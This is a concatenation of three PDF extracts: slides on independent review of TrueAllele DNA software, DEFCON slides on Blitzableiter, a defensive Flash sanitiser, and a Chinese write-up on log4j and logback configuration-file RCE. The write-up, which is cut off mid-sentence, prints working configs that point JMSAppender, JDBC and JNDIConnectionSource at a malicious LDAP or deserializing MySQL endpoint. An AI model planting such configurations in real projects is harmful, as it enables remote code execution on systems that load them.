Mr. Fair’s team requested the TrueAllele® source code and development materials in 2016. Responses included… Washington v. Emmanuel Fair Declaration of Dr. Mark Perlin, TrueAllele® developer “There is no way to actually use source code in a validation study, which tests the reliability of an executable computer program.” Washington v. Emmanuel Fair Declaration of Dr. Michael Gorin, Professor of Medicine, UCLA “Since it is essential that one conducts testing with a compiled and operational version of the software, there is no benefit (nor justification) in providing individuals with the source code unless they intend to modify it.” Declaration of Thomas Hebert, DNA Technical Leader for Baltimore Police “In my opinion, I do not believe the source code is necessary for determining the reliability of TrueAllele because source code is not normally used in the validation of software programs for forensic use.” Washington v. Emmanuel Fair Declaration of Dr. Kevin Miller, former Lab Director of Kern Regional Crime Lab (CA) “In fact, DNA analysts are required by national mandate to have taken only one statistics class and they have no computer science educational requirements. Therefore, this level of mathematics and engineering is above most individuals who work in the field.” Washington v. Emmanuel Fair Declaration of Dr. Kevin Miller, former Lab Director of Kern Regional Crime Lab (CA) “Moreover, it strikes me has highly irregular that any one particular step in any one particular workflow would suddenly become singled out as an issue for source code revelation. If one is to discuss error in DNA testing, then would one not want to capture an error rate for the entire workflow?” Washington v. Emmanuel Fair “If one is to discuss error in DNA testing, then would one not want to capture an error rate for the entire workflow?” Why would one not? Magic Grant ● Brown Institute Magic Grant ○ Journalism - tell new stories in new ways with technology (General Audience) ○ Technology Audience ○ Legal Audience ● Independent, third-party testing ● FST testing and FST source code review ● Comparison to other probabilistic genotyping systems What makes independent testing hard? ● Access to executables of the software ○ Cost ○ Sometimes not even sold to individuals or groups outside law enforcement ○ Difficulty in getting old copies of software ○ Let alone source code, bug databases, testing plans, design documentation... ● Terms of service that limit publishing of results ● Trade secret protection claimed over rights of defendants ○ To shield from legitimate questions of quality and fairness more than to protect from competitors? ○ Thwarting essential iterative improvement! and accountability to stakeholders beyond buyers ● Need for natural repositories to share results/connect audiences ○ How would a defense team connect with experts? someone who found a relevant bug? We want you to help! Procurement Phase Wishlist ● When public money used for criminal justice software, require! or at least give credit for: ■ Source code ■ Software artifacts: bug reports, internal testing plans and results, software requirements and specifications, risk assessments, design documents, etc. ● Lack of software standards in traditionally non-computing fields (e.g. DNA) ■ No clauses preventing third party review or publishing of defects found ■ Access to executables for third party testing ■ Scriptable interfaces to facilitate automated testing ■ Bug bounties ● Fund non-profit third party entities to do independent testing! Be a third-party reviewer ● Criminal justice software that is open source now ○ DNA: FST and LabRetriever (US); LRmix, LikeLTD and EuroForMix (Europe) ○ Predictive policing: CivicScape ● Take a look! ○ Find bugs or bad code? Please let us know! ● Construct software yourself for alternatives and comparisons ○ Many programs have algorithms published - replicate. Bigger picture ● Black box decision making all around us ○ Hiring, housing, how we make friends, find partners, navigate city streets, get our news, … ○ The weightier the decision the more crucial it is that we understand and can question it ● US-ACM/EU-ACM Principles for Algorithmic Transparency and Accountability ○ Awareness ○ Access and redress ○ Accountability ○ Explanation ○ Data provenance ○ Audit-ability ○ Validation and testing ● Provide the evidence needed to improve systems for all stakeholders so we don’t run our society on buggy or even malicious algorithms hidden from view Our work wouldn’t be possible without: ● Legal Aid Society ○ DNA Unit, especially: ■ Jessica Goldthwaite ■ Clint Hughes ■ Richard Torres ○ Digital Forensics Unit, especially: ■ Lisa Brown ■ Aaron Flores ■ Shannon Lacey ■ Brandon Reim ○ Cynthia Conti-Cook ● Eli Shapiro ● Rebecca Wexler, Visiting Fellow at Yale Law School ● Federal Defenders of New York: Chris Flood, Sylvie Levine ● Clarkson University ○ Marzieh Babaeianjelodar ○ Stephen Lorenz ○ Abigail Matthews ○ Anthony Mangiacapra ○ Graham Northup ○ Mariama Njie (Iona College, McNair Scholar at Clarkson summer 2018) ○ COSI/ITL labs ● Data and Society ● Dan Krane, Wright State University ● The Brown Institute at Columbia University ○ Funding provided by a 2018-19 Magic Grant!
pdf
Blitzableiter – BETA Release Countering Flash Exploits Felix ‘FX’ Lindner DEFCON XVIII Agenda Motivation RIA Basics Flash (in)Security Flash Malware Flash Internals Defending the Poor Defense approach Implementation Current functionality Measurements & Results Next steps Motivation Project initiated in late 2008 by the German Federal Office for Information Security (Bundesamt für Sicherheit in der Informationstechnik) Review of the current Rich Internet Application security situation Adobe Flash turned out to be far behind the curve in terms of security compared to other technologies That posed the question whether that fact could be helped Preferably without firing everyone at Adobe Defending the Poor Who cares about Flash security? Some of the end users Apple users running on PowerPC machines: The Adobe Flash Player 10.1 release, expected in the first half of 2010, will be the last version to support Macintosh PowerPC-based G3 computers. Adobe will be discontinuing support of PowerPC-based G3 computers and will no longer provide security updates after the Flash Player 10.1 release. This unavailability is due to performance enhancements that cannot be supported on the older PowerPC architecture. People who don’t want to get owned while surfing pr0n Web site operators Web sites that display advertisement banners (Heise or eWeek anyone?) Owners of web sites allowing users to upload files Defending the Poor Rich Internet Applications Rich Internet Applications (RIA) are in general programmatic enhancements to the regular web browser that allow for enhanced interactivity, communication and media display. Prominent members *: Rich Internet Application Basics * Google Native Client is intentionally not mentioned here. Common Properties of RIA Environments RIA functionality is implemented as plug-in for web browsers Plug-in provides a runtime environment with one or more virtual machines that execute byte code specific to that RIA platform RIA runtimes additionally provide media playback capabilities Applications are distributed in integrated file formats, carrying byte code and resource files, such as image, video and audio data RIA runtimes provide their applications independent local storage capabilities and browser independent network communication RIA applications are portable between all platforms having a runtime Rich Internet Application Basics Web Browser Integration and Interaction Browser plug-in code base is usually fairly independent of the actual browser plug-in The runtime is commonly an ActiveX component or an external program Browser dependence only for JavaScript, DOM and HTTP stack Activation of RIA functionality in web pages through HTML tags The embedding HTML often decides on security settings for the RIA Interaction between RIA code (through the runtime) and the web browser is commonly achieved using JavaScript Rich Internet Application Basics Distribution of Runtimes Rich Internet Application Basics Source: RIAStats.com (18 million browsers, 110 sites, 30 days), 2009-12-24 The Flash Security Model Flash primarily relies on the virtual machine runtime environment for sealing off access from the RIA code to the native machine Permission decisions are based on so-called sandboxes Generally, Flash code can either access local or remote resources, not both. The remote sandbox roughly follows the Same Origin Policy Flash code can soften the Same Origin Policy itself Flash code can offer a permissive Cross Domain Policy for “Flash Cookies” Socket communication is controlled in a similar way using a policy file that is served from the remote TCP port the Flash code wants to connect to The embedding web page can give additional permissions to the Flash code using arguments to the OBJECT or EMBED tags Flash Security Threats The Flash Security and the User There is some user control over the Flash Player Using an actual Flash program Most controls are hidden as options in mms.cfg Flash does not support any proof of origin for the files With the likely exception of DRM technologies, which are of no concern here Flash Security Threats Flash Vulnerabilities Securityfocus.com lists about 40 vulnerabilities for the Flash Player, among them: CVE-2008-3873: Copying data onto the clipboard of the user CVE-2007-3456: FLV integer overflow during parsing CVE-2007-0071*: Integer signdness issue in scene counter allows arbitrary memory write CVE-2009-3797 & CVE-2009-3798: “unspecified” memory corruptions CVE-2008-4546: SWF Version Null Pointer Dereference Flash Security Threats * “Application-Specific Attacks: Leveraging the ActionScript Virtual Machine”, Mark Dowd package { import flash.display.*; import flash.net.*; public class A extends MovieClip { public function A() { load(); load(); } private function load():void { var loader:Loader = new Loader(); loader.load(new URLRequest('/b')); addChild(loader); } } } Attacks using Flash Using Flash to perform DNS rebinding, as shown by Dan Kaminsky Using the extensive operating system and browser information available to Flash code to determine exploits to use Nowadays commonly used to carry PDF files Clickjacking aka. User Interface Redressing Sending additional HTTP Header in requests originating from Flash code UPNP Requests through Flash to reconfigure home routers CSRF exploits for the masses Appending HTML/JavaScript to Flash files Simply redirecting the web browser Flash Security Threats Flash Malware Malware based on Flash is generally part of the following classes: 1. Redirector and Downloader The user browser is redirected to a new URL, either faking clicks for advertisement programs or simply downloading executable files. 2. Binary Exploits With the most prominent being CVE-2007-0071, these Flash files attempt to exploit parsing vulnerabilities in the Flash runtime. 3. Web Attack Vehicle Flash is commonly used in attacks leveraging XSS or weak coding in other Flash files in order to obtain personal identifiable information (PII) from the target. Flash Security Threats Flash Malware Examples SWF.AdJack / Gnida Malicious banner advertisement, which uses Local Shared Objects (LSO) to store campaign information on the user’s machine. CVE-2007-0071 Exploit Various incarnations using the original published exploit technique to achieve arbitrary code execution. Your payload will vary. SWF/TrojanDownloader.Agent etc. Simple browser forwarder SWF/TrojanDownloader.Agent.NAD Multi-Exploit carrying a number of different attack codes and instantiating them depending on the operating system platform and Flash player version Flash Security Threats Flash Malware and the Anti-Virus Industry Flash malware is not very well detected by anti-virus software AV software epically fails when the malware is uncompressed Flash Security Threats Sample Detection Detection (uncompressed) Simple generic downloader 18/41 (43.91%) 16/39 (41.03%) Gnida.A 29/41 (70.73%) 8/40 (20%) SWF_TrojanDownloader.Small.DJ 21/39 (53.85%) 11/41 (26.83%) Statistics generated using Virustotal.com on December 24, 2009 Flash Files from the Inside Flash files (also called movies) follow the SWF (apparently pronounced “swiff”) file format specification Version 3 to Version 10 are specified SWF files can be compressed using zlib methods Type-Length-Value structure The elements are called “Tags” The element ordering determines (partially) the rendering 63 Tag types are documented for Version 10 Data structures are heavily version dependent Flash Internals Adobe Virtual Machines The Flash Player contains two virtual machines AVM1 is a historically grown, weakly typed stack machine with support for object oriented code AVM1 is programmed in ActionScript 1 or ActionScript 2 Something between 80%-90% of the Flash files out there are AVM1 code, including YouTube, YouPorn, etc. AVM2 is an ECMA-262 (JavaScript) stack machine with a couple of modifications to increase strangeness AVM2 is programmed in ActionScript 3 The Flash developer community struggles to understand OOP Flash Internals The History of AVM1 First scripting capability appears in SWF Version 3 Something like a very simple click event handler SWF Version 4 introduces the AVM Turing complete stack machine with variables, branches and sub-routine calls All values on the stack are strings, conversion happens as needed SWF 5 introduces typed variables on the stack Addition of a constant pool to allow fast value access Introduction of objects with methods Flash Internals The History of AVM1 SWF 6 fixes SWF 5 New Tag type allows initialization code to be executed early Checking of the type of an object instance is added Type strict comparisons are added SWF 7 brings more OOP New function definition byte code Object Inheritance, extension and test for extension (implements) Exception generation and handling (Try/Catch/Finally) Explicit type casting Flash Internals The History of AVM1 SWF 8 never happened SWF 9 already brings the AVM2 into the format They call the byte code “ABC” SWF 10 is the currently specified standard Keep in mind that all this is still supported! Flash Internals AVM1 Code Locations in a Flash File A Flash file can contain AVM1 code in 5 different types of locations DoAction Tag contains straight AVM1 code DoInitAction Tag contains AVM1 code for initialization DefineButton2 Tag contains ButtonRecord2 structure that can carry conditional ButtonCondActions, which are AVM1 code PlaceObject2 and PlaceObject3 Tags can contain ClipActions whose ClipActionRecords may contain AVM1 code Many tools, including security tools, only handle DoAction Flash Internals AVM1 Code Properties AVM1 byte code is a variable length instruction set 1-Byte instructions n-Byte instructions with 16 Bit length field Branch targets are signed 16 Bit byte offsets into the current code block Function declarations are performed using one of two byte codes inline with the other code Function declarations can be nested Functions may be executed inline or when called Try/Catch/Finally blocks are defined by byte code similar to functions Flash Internals Design Weaknesses in AVM1 The byte offset in branch instructions allows: Jumps into the middle of other instructions Jumps outside of the code block (e.g. into image data) The signed 16 Bit branch offset prevents large basic blocks The Adobe Flash Compiler emits illegal code for large IF statements Instruction length field allows hiding of additional data Length field is parsed even for instructions with defined argument sizes Argument arrays contain their own length fields after the instruction length field Flash Internals Design Weaknesses in AVM1 The order of code execution appears to be non-deterministic Depends on the Tag order and type Depends on references to other Flash files Depends on the conditions set to execute Depends on the visibility of the object (z-axis depth) Flash Internals Considerations for the Defense Approach There are two types of attacks to be handled Malformed SWF Files that cause memory corruption in the player Well formed SWF Files that use the player’s API for evilness Instrumentation of the player is bound to fail The player is closed source and changes permanently The player is very forgiving with invalid / malformed code The player only parses code and data when it hits it The player is written in an unmanaged language Nobody wants to write a new Flash player from the ground up A defense approach Normalization through Recreation If the final consumer is fragile, we must try to ensure that it will not choke on the data passed to it: 1. Safely parsing the complete SWF file, strictly checking specification compliance of everything 2. Discarding of the original file 3. Verification and modification of the AVM code 4. Creation of a new “normalized” SWF file A defense approach Introducing the Tool A defense approach The aforementioned and now further discussed approach is implemented in the project called: Yes, that’s a German term. It means “lightning rod”. It turns dangerous lightning into harmless flashes. Blitzableiter A Flash File Parser in C# The CLR ensures buffer boundaries and prevents integer overflow / signdness issues Native or unsafe code must not be used This can be checked easily Strategic defense advantage: .NET CLR 0-day is rare, expensive and unlikely to be used against a Flash parser By strictly targeting .NET 2.0, it runs nicely on Mono as well A defense approach Enforcing Container Boundaries Parsing container type data structures (e.g. a Tag) must ensure they are completely used Trailing data could be shell code Exceeding data could be the actual attack Place the container’s content into a new memory block CLR ensures boundaries Post parsing code ensures complete consumption A defense approach Only Parse Documented Data For the approach to work, all data must be parsed completely Simply copying byte arrays from the original file is dangerous, as it may contain the attack All input data must be checked thoroughly against the specification Are the correct format and fields for the declared version of the SWF file used? Are all reserved Bits clear? Are conditions declared for objects correct and make sense? Are all type fields using documented values? A defense approach AVM1 Code Verification Is the instruction legal within the declared SWF Version? Does the instruction have exactly the number of arguments specified? Is the declared instruction length correct and completely used? Does the code flow remain within the code block? Do all branches, try/catch/finally and all function declaration target addresses point to the beginning of an instruction? This is ensured using linear disassembly instead of code flow disassembly Do all instructions belong to exactly one function? A defense approach Countering Functional Attacks If done correctly and completely, the approach so far leaves you with a representation of a nice and tidy SWF file that you completely understand. Static analysis will provably not be able to determine what any given code is actually doing. Emulation will cause a state discrepancy between your emulation and the Flash player’s interpretation of the same code. Introspective Code Behavior Verification Patching the Point of Execution In runtime analysis, you verify the arguments to the final API call before the call is made. We are not part of the show when execution actually happens. But we can introduce AVM1 code before the final API call that inspects and verifies the arguments for us when executed. Introspective Code Behavior Verification Example: ActionGetURL2 ActionGetURL2 is the most widely used action to forward browsers to potentially dangerous targets When we handle the Flash file, we know the origin of it We introduce a Same Origin Test before the actual ActionGetURL2 instruction is executed Introspective Code Behavior Verification What Should be Patched? According to Adobe*, this is: Functions and objects that accept URLs as strings Functions that display or accept HTML Which in fact are fields of the respective objects, but never mind. Functions that communicate with the web browser Functions for accessing FlashVars Functions for accessing shared objects Functions that make networking calls Additionally, we need to patch any undocumented voodoo, e.g. calls to ASNative Introspective Code Behavior Verification * http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps_13.html How To Do Patching Blitzableiter features a full, if somewhat spartanian, AVM1 assembler, so patches can be written in text files Supports all 100 documented AVM1 instructions Support for variable names to allow the patch to interface with the verification code Variables are used to store case-by-case information, e.g. the origin URL of the Flash file Variable names can be randomized in order to prevent the surrounding code from checking them This is the low level view of the patching Introspective Code Behavior Verification Determining What Method Is Called Method calls are implemented in AVM1 as a sequence of: Therefore, we need to check if we are dealing with an instance of the object first and then determine the method: Introspective Code Behavior Verification ActionConstantPool 0:'receiving_lc' [...] 8:'connect' ActionPush [0]Const8:07 [1]UInt32:00000001 [2]Const8:00 ActionGetVariable ActionPush [0]Const8:08 ActionCallMethod ActionStackSwap ActionPushDuplicate ActionPush String:OBJECTTYPE ActionGetVariable ActionInstanceOf ActionNot ActionIf ExitPatch: ActionStackSwap ActionPushDuplicate ActionPush String:connect ActionStringEquals ActionIf CleanUp: Cleaning Up In Case We Don’t Want Something Introspective Code Behavior Verification ActionPop # Remove method name ActionPop # Remove object reference ActionPush String:$RANDOM # Create a variable with a random name ActionStackSwap # Swap variable name and number of arguments ActionSetVariable # Store number of arguments RemovalLoop: ActionPush String:$RANDOM # Push random variable name ActionPushDuplicate # Duplicate ActionGetVariable # Get number of arguments ActionPush UInt32:0 # Push 0 ActionEquals2 # Compare ActionIf RemovalLoopDone: # If number of arguments == 0, we are done ActionPushDuplicate # Duplicate random variable name again ActionGetVariable # Get number of arguments ActionDecrement # Decrement it ActionSetVariable # Store in random variable name ActionPop # Now remove one of the original arguments ActionJump RemovalLoop: # Repeat ActionPop # Remove remaining string ActionPush UNDEFINED # Return UNDEFINED to the code that called # the method Example: Gnida Adding a function to the top of the code sequence in order to perform all the object and method checks in one place Patching all ActionCallMethod places to verify the call using our check function Feeding Malware to Blitzableiter Out of 20 real malware samples: All AVM2 based files were rejected, as we don’t support that yet All exploits targeting the player where rejected for format violations All attacks using obfuscation were rejected for code violations All exploits targeting the browser were patched to harmlessness So far, nothing survived Blitzableiter Testing the Blitzableiter Collateral Damage SWF obfuscation software is used to prevent decompilation Ambiera irrFuscator, http://www.ambiera.com/irrfuscator/ Dcomsoft SWF Protector, http://www.dcomsoft.com/ Kaiyu Flash Encryption Genius, http://www.kaiyusoftware.com/products.html Swfshield, http://swfshield.com/ Amayeta SWF Encrypt, http://www.amayeta.com/software/swfencrypt/ Kindisoft secureSWF, http://www.kindisoft.com/ Except for irrFuscator, all obfuscation tools produce invalid SWF files, which were accordingly rejected during tests Another good argument why obfuscation is zarking bullocks Testing the Blitzableiter Feeding Blinking Things to Blitzableiter Testing the Blitzableiter http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps_13.html Item Result Sum of test cases 95780 Total size of all test case 45,47 GB Sum of all Tags 120111586 Total number of test cases passing parsing and validation 88080 Percentage of test cases passing parsing and validation 92% Number of AVM1 instructions before modification 472.698.973 Number of AVM1 instructions after modification 1.155.737.360 Average code size increase per file 224% Total number of successfully patched files 82214 Percentage of test cases successfully patched 82% Total number of unhandled exceptions during processing 82 Performance (on a fairly decent machine) Average read and validation time: 0,447932 seconds over 96408 Files Average patch and write time: 0,450058 seconds over 82203 Files Generating Code Flow Graphs (CFG) for all code takes significantly more time Not fit for smaller machines (Blitzableiter within Web browser) Graph operations on the CFG are computationally expensive Testing the Blitzableiter The Obvious and the Less Obvious Problem Patching every instance of a method call inflates the code significantly but still ignores the arguments to said call This is a major problem for in-line patching AVM1 does not have any long branch instruction 15 Bit is all we get: 32768 byte distance is the maximum Some Flash files already max out the branch distance Patching such files results in an integer overflow (which we catch, thanks to the .NET CLR) Challenges and Future Work Extrospection and Code Flow Analysis To overcome the branch target overflow issue, we need to introduce “jump pads” into the code Determining the Code Flow Graph (CFG) for the AVM1 code block Determining which branch instructions would overflow Placing jump pads for them halfway into the code Ensuring that this does not cause more overflows This isn’t algorithmically trivial as far as I can tell It also depends on how the Flash player likes jumping into and out of functions without them being actually called Challenges and Future Work Stack Tracing We can provably not determine all call arguments using static analysis But we can determine calls and arguments that are loaded directly from the constant pool or static values on the stack In order to determine values, we need to be able to track the stack state backwards A couple of approaches have been tried so far, but it’s not easy Trivial to implement within the same basic block, but notion of basic block requires more expensive CFG generation Even constant pools can be overwritten by AVM1 code. Therefore, the even constant pools are conditional and need CFG inspection. Challenges and Current Work Higher Level Verification Modeling The goal is to model: “Does the 2nd argument of this instruction begin with the following string?” The current implementation uses a dual stack machine approach An internal stack machine performs individual static analysis operation steps to model conditions we want to verify If the internal stack machine cannot deterministically continue, all basic operations emit AVM1 code to perform the same operation within the file. The individual operations are of small granularity Example: ArgN determines the value of the n-th argument on the stack Easier to verify the equivalence of the internal and the AVM1 representation Challenges and Current Work Things Blitzableiter Cannot Do Anything About Heap Spraying using Flash cannot be prevented using this approach There is no obvious way to tell legitimate and malicious heap allocations apart We could try the approach outlined by Microsoft’s Nozzle * Flash API overflows (as seen by the metric ton in PDF vs. Adobe Reader JavaScript API currently) This would introduce checking for specific call arguments We could consider a general call argument length limit Challenges and Future Work * http://research.microsoft.com/en-us/projects/nozzle/ The Current State This talk gives you the first official BETA We are covering 54 out of 63 Tag types so far That’s 47 more tag types than the initial release at 26C3 supported! Parsing media data, as it is also often used for attacks Currently using the .NET classes wherever possible Need to find documentation on the Adobe proprietary things Support for AVM2 code Really needed, already started, a whole new can of worms by itself Challenges and Future Work Why Blitzableiter is Open Source Apply Kerckhoffs’ Principle to defense No yellow box solution that magically protects you FX would like people to look over his zarking code and find bugs Flash developers shall to be able to test their stuff We want allow people to integrate Blitzableiter Web browser extensions Proxy server filter module File upload filter module The Release Where To Get It From The project site is up and running at http:// http:// http:// http://blitzableiter.recurity.com blitzableiter.recurity.com blitzableiter.recurity.com blitzableiter.recurity.com Full source code for the class library under GPLv3 Developer documentation for quick starts Test cases for malicious and non-malicious Flash Public bug tracking system The Release Summary The longer we work on this, it becomes evident that: Format validation is doable, practical and can prevent a lot of attacks 3rd party tools in Flash world produce even less specification compliant files than any of the Adobe tools Code validation is, not surprisingly, quite a bit more complex It might only make sense to do this on server side (upload) FAQ: What about Adobe AIR, Flex, Flirr, Fluff, Fart, etc? A: This is about Flash. Get the code and try it out yourself if you want. Thank you! [email protected]
pdf
对 log4j2 漏洞的后续研究中,发现⼀些有趣的东⻄,记录分享⼀下 ⾸先提出⼀个问题,log4j 真的在任何情况不存在 JNDI注⼊吗? 答案是否定的。 翻阅 Log4j2 的 pull request 发现⼀个有意思的对话: 有⼈提出实际上 log4j 和 log4j2 ⼀样易受攻击的,只不过与 log4j2 相⽐,Log4j 的攻击向量“更安全” 因为 Log4j 的攻击⼊⼝点是其配置⽂件,⽽ log4j2 的攻击⼊⼝点是⽤户的输⼊ 那么实际上如何呢?经过我简单测试,发现修改 log4j 的配置⽂件确实会导致漏洞的产⽣,但要求要⽐pull reques中所说的更苛刻。 ⾸先在 maven 中添加以下依赖: 001 写在前⾯ 002 log4j 真的在任何情况不存在 JNDI注⼊吗? 案例1  log4j 配置⽂件中 JMSAppender 的 RCE <dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> 然后在resource ⽬录下新建 log4j.properties ⽂件,内容如下: 最后新建 Log4jJMSAppenderTest.java ⽂件,内容如下: 可以看到,项⽬的所⽤到的主要依赖是 log4j 1.2.17 版本,然后为了满⾜条件要求(后⽂会说具体什么条件), ⼜引⼊了最新版的 activemq 依赖。 然后如果直接运⾏ main 函数,可以直接触发 RCE: <artifactId>activemq-broker</artifactId> <version>5.16.3</version> </dependency> </dependencies> log4j.rootLogger=INFO, stdout, jms log4j.logger.org.apache.activemq=INFO, stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n log4j.appender.jms=org.apache.log4j.net.JMSAppender log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitia lContextFactory log4j.appender.jms.ProviderURL=tcp://localhost:61616 log4j.appender.jms.TopicBindingName=jmsTest log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd import Logger; import NamingException; class Log4jJMSAppenderTest { public static void main(String[] args) throws NamingException { // 通常情况下会⾃动加载 Log4j 的配置⽂件,如果不能⾃动加载可以取消注释下⾏代码 // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class); logger.error("error"); } } JAVA org.apache.log4j. javax.naming. 原理很简单,log4j 有⼀个名为Appenders的功能,Appender 通常只负责将事件数据写⼊⽬标指定的区域, ⽐ 如数据库、JMS 代理等 当检测到 log4j.properties 配置⽂件中存在指定的 Appender 时,会⾃动进⼊相应的功能逻辑 如,假设配置了 log4j.appender.file=org.apache.log4j.FileAppender ,那么会进⼊ FileAppender.java 中的 activateOptions ⽅法 配置了 log4j.appender.stdout=org.apache.log4j.ConsoleAppender ,那么会进⼊ ConsoleAppender.java 中的 activateOptions ⽅法 上⽂中配置的是 log4j.appender.jms=org.apache.log4j.net.JMSAppender ,会进⼊ JMSAppender.java 中的 activateOptions ⽅法 我们可以在该⽅法打个断点,debug 就可以看到其调⽤的是 lookup ⽅法: 然后在 ctx.lookup(name) 中传⼊我们指定的恶意 LDAP 服务地址,从⽽触发 RCE 这⾥虽然可以实现了 RCE,但实际上你可以发现,必须要有⼀个⽀持 jms 代理的类 ( org.apache.activemq.jndi.ActiveMQInitialContextFactory )才可以,否则是会报错的,如果实际 业务代码或引⽤的包中没有 jms 代理类,就显得就⼗分鸡肋+苛刻了 那么可利⽤的仅仅是 JMSAppender 吗? 在 log4j 中,除了 JMSAppender 配置项外,还有很多 Appender,JDBCAppender就是其⼀。 案例 2  log4j 配置⽂件中 JDBC 的 RCE 同样的,在 resources ⽬录下创建 log4j.properties ⽂件,内容如下: 为了⽅便测试 JDBC反序列化漏洞,所以maven 中我们新增了其他依赖,具体如下: 最后再新建 test.java ⽂件,内容如下: log4j.rootLogger=DEBUG,database log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender #数据库地址 log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDi ffInterceptor log4j.appender.database.driver=com.mysql.jdbc.Driver log4j.appender.database.user=test log4j.appender.database.password=111111 log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n') #log4j.appender.database.layout=org.apache.log4j.PatternLayout <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency> import Logger; public class test { public static void main(String[] args) { JAVA org.apache.log4j. 运⾏main函数,直接触发 RCE: 原理和JMSAppender⽐较类似,同样是那么会进⼊ JDBCAppender.java 中,只不过触发的⽅法是 getConnection() ,后续就是我们⽐较熟知的 JDBC 反序列漏洞流程了 这⾥提到的仅仅是 log4j 的1.x 版本,实际上 log4j 2.15.0 同样可以实现上述操作 在能够控制配置⽂件的情况下,可以不⽤再花⼼思去绕过 lookup 的⽩名单和各种限制,直接采⽤类似于上⾯的 ⽅式实现 RCE,⽐如三梦师傅之前提到的: 当然,总体来看,这种修改配置⽂件的⽅式还是很鸡肋的,实际利⽤有限,只是适⽤于特殊场景,此处仅作技术 性探讨 提到 log ⽇志记录,除了 log4j 外,还有就是 logback , logbakc 和 log4j 是 同⼀个⼈写的,因此实际上我想 看看 logback 中是否存在类似问题 Logger logger = Logger.getLogger(test.class); logger.error("error"); } } <pattern>%sn. %msg: Class=%class%n%m{lookups}</pattern> <pattern>${payload}</pattern> 003 logback 的鸡肋 RCE 并且由于 logback 是 springboot 的默认组件,如果同样存在类似问题,那么可能遇到这种场景的机会会加⼤ ⾸先 看的是 JMSAppender,遗憾的是,在 logback 的 1.2.2版本后,就移除了 JMSTopicAppender 但幸运的是 ,在 logback 中同样存在类似于 JDBCAppender 的 Appender —— DBAppender DBAppender 中有⼀个名为 ConnectionSource 的接⼝,该接⼝提供了⼀种可插拔式的⽅式为需要使⽤ java.sql.Connection 的 logback 类获取 JDBC 连接,⽬前有三种实现,分别为: DriverManagerConnectionSource 、 DataSourceConnectionSource 与 JNDIConnectionSource 。这三种 实现每⼀种都可以⽤来实现 RCE。 DriverManagerConnectionSource 和 DataSourceConnectionSource ⽐较类似,都可以通过控制 JDBC 的 URL 去实现 JDBC 反序列化攻击的⽬的。 ⾸先在 resource ⽬录下新建 logback-spring.xml ,内容如下 <configuration> <appender name="DB" class="ch.qos.logback.classic.db.DBAppender"> <connectionSource class="ch.qos.logback.core.db.DriverManagerConnectionSource"> <driverClass>com.mysql.jdbc.Driver</driverClass> <url>jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStat usDiffInterceptor</url> <user>username</user> <password>password</password> </connectionSource> </appender> 然后在新建的 SpringBoot 项⽬的 pom.xml中新加两个依赖,如下: 然后直接运⾏ SpringApplication.run() 所在⽅法,即可触发漏洞: 除上述两种,还有 JNDIConnectionSource ⽅法,JNDIConnectionSource 是 logback ⾃带的⽅法,从名字就 可以看出来,它通过 JNDI 获取 javax.sql.DataSource,然后再获取 java.sql.Connection 实例 同样的,对于我们来说,这种⽅式实现 RCE 更⽅便,完全不需要其他的依赖,测试如下: <root level="DEBUG" > <appender-ref ref="DB" /> </root> </configuration> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency> 在 resource ⽬录下新建 logback-spring.xml ,内容如下 同样的,直接运⾏ SpringApplication.run() 所在⽅法,即可触发漏洞: 实际上跟踪⼀下可以发现,最终会进⼊到 JNDIConnectionSource.java 的 getConnection ⽅法,如果 dataSource 为空,那么就令 dataSource = lookupDataSource(); 然后在lookupDataSource() 中触发 lookup : <configuration debug="true"> <appender name="DB" class="ch.qos.logback.classic.db.DBAppender"> <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource"> <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation> </connectionSource> </appender> <root level="DEBUG"> <appender-ref ref="DB"/> </root> </configuration> 不过这⾥需要注意的是,JNDIConnectionSource类是通过⽆参构造函数获取 javax.naming.InitialContext ,这种⽅式在 J2EE 环境通常可以⾏得通,但是在 J2EE 环境之外,需要额外 提供⼀个 jndi.properties 的配置⽂件才可以。 实际上除了上述⽅式,还有⼀种配置不借助 DBAppender 也可以直接实现 RCE,配置如下: 运⾏项⽬即可实现 RCE: <configuration> <insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" /> <root level="DEBUG"> <appender-ref ref="CONSOLE" /> </root> </configuration> 同样跟踪可以发现,是在 InsertFromJNDIAction.java 的 begin ⽅法中调⽤了 JNDIUtil.lookup ⽅法,从 ⽽触发漏洞: 当然,还有 JMX 同样可以实现RCE,原理⼤致相同,这⾥不在赘述 上⾯的⽅式确实⽐较鸡肋,正如 pull request 那⾥写的: 如果攻击者可以修改某个系统 S 上的配置⽂件,那么可以假设 S 已经被很⼤程度地渗透了。 但还是有可⾏的场景的, 通过查阅资料我发现,logback配置⽂件中有个特⾊属性为 scan,只要配置⽂件中配置 了 scan 属性,那么系统会启动⼀个scan task监控配置⽂件的变动,如果发⽣变化,那么就在配置⽂件变更时 